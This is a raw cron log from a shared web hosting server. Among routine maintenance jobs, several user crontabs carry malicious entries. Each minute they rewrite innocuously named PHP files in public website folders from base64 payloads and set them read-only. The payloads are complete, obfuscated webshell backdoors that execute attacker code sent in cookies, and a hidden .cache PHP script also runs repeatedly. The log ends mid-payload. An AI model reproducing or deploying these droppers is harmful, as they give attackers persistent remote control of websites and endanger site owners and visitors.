Jun  7 08:29:02 medusa CROND[1573]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:29:02 medusa CROND[1579]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:29:02 medusa CROND[1578]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:29:02 medusa CROND[1580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:29:02 medusa CROND[1581]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 08:29:02 medusa CROND[1584]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:30:01 medusa CROND[3271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 08:30:01 medusa CROND[3280]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:30:01 medusa CROND[3282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:30:02 medusa CROND[3332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:30:02 medusa CROND[3341]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3342]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3343]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:30:02 medusa CROND[3344]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:30:02 medusa CROND[3351]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:30:02 medusa CROND[3352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:30:02 medusa CROND[3354]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3355]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:30:02 medusa CROND[3353]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3359]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3358]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:30:02 medusa CROND[3365]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:30:02 medusa CROND[3368]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:30:02 medusa CROND[3366]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:30:02 medusa CROND[3370]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3388]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:30:02 medusa CROND[3387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3401]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:30:02 medusa CROND[3402]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 08:30:02 medusa CROND[3403]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 08:30:02 medusa CROND[3397]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 08:30:02 medusa CROND[3406]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:30:02 medusa CROND[3382]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Jun  7 08:30:02 medusa CROND[3409]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:30:02 medusa CROND[3407]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 08:30:02 medusa CROND[3410]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:30:02 medusa CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:31:01 medusa CROND[5769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:31:01 medusa CROND[5779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:31:01 medusa CROND[5787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:31:01 medusa CROND[5789]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:31:01 medusa CROND[5792]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:31:01 medusa CROND[5793]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:31:01 medusa CROND[5794]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:31:01 medusa CROND[5795]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:31:01 medusa CROND[5798]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:31:01 medusa CROND[5799]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:31:01 medusa CROND[5804]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuI